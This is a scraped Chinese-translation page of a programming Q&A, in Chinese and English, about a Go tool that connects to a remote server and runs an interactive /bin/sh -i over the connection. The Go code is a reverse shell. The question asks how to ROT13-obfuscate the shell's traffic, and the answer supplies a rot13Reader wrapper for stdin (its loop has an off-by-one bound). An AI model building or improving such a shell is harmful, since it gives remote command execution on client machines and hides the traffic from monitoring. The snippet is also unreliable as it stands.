如何捕获标准输入的字节流。

huangapple go评论82阅读模式
英文:

How to capture the bytes of stdin

问题

目标:我想捕获cmd.Stdin的所有字节,并使用这个rot13函数进行处理:https://play.golang.org/p/VX2pwaIqhmT

故事:我正在编写一个小工具,将为win/linux进行交叉编译,所以我试图尽可能简单。该工具连接到服务器,我可以在客户端上执行命令。

由于我必须对cmd.Stdout执行相同的操作,我使用了以下代码:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // 请记住这是一个***交互式***shell,而不仅仅是一个简单的命令

cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // 正常工作
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }
.......
err = OBFprocessStream(cmdStdout, conn) // 正常工作
.....

其中OBFprocessStream函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切正常。

所以,我尝试对cmd.Stdin复制相同的操作:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i")

cmdStdin, err := cmd.StdinPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.......
err = INOBFprocessStream(cmdStdin, conn)
.......

.......
err = OBFprocessStream(cmdStdout, conn)
.......

但是.. cmdStdin是一个Io.WriterCloser,我真的不知道该怎么做才能捕获字节sEGIHOsegoihszrhoiò

你能帮帮我吗?

英文:

The goal: I want to capture all the bytes of cmd.Stdin and process them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT

The story: I'm coding a small tool which will be cross compiled for both win/ linux, so I'm trying to make it as simple as possible. This tool connects to the server from which I can execute commands on the client.

Since I had to do the same thing for cmd.Stdout, I used this:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 
//***shell***, and not just a simple command
										
cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....

Where OBFprocessStream function is based on this one: https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .

So, I tried to replicate the same thing for cmd.Stdin:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 
										
cmdStdin, err := cmd.StdinPipe() 
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.....
err = INOBFprocessStream(cmdStdin, conn)
....

.....
err = OBFprocessStream(cmdStdout, conn)
....

But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to capture the bytes sEGIHOsegoihszrhoiò

Can you please help me?

答案1

得分: 2

所以看起来你实际上想要从conn读取数据,用ROT13进行过滤,然后将其传递给cmd.Stdin(它接受一个io.Reader)。

而你的rot13Reader已经实现了io.Reader

type rot13Reader struct {
    r io.Reader
}

func (r13 *rot13Reader) Read(b []byte) (int, error) {
    n, err := r13.r.Read(b)
    for i := 0; i <= n; i++ {
        b[i] = rot13(b[i])
    }
    return n, err
}

因此,一个快速的解决方案是构建一个小的过滤器链,如下所示:

cmd.Stdin = &rot13Reader{conn}
英文:

So it seems what you actually want is to read the data from conn, filter it with ROT13 and then pass it to cmd.Stdin (which accepts an io.Reader).

And your rot13Reader is already implementing io.Reader:

type rot13Reader struct {
	r io.Reader
}

func (r13 *rot13Reader) Read(b []byte) (int, error) {
	n, err := r13.r.Read(b)
	for i := 0; i &lt;= n; i++ {
		b[i] = rot13(b[i])
	}
	return n, err
}

So a quick solution can be to construct a small filter chain out of it like so:

    cmd.Stdin = &amp;rot13Reader{conn}

huangapple
  • 本文由 发表于 2021年8月18日 16:25:51
  • 转载请务必保留本文链接:https://go.coder-hub.com/68828927.html
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定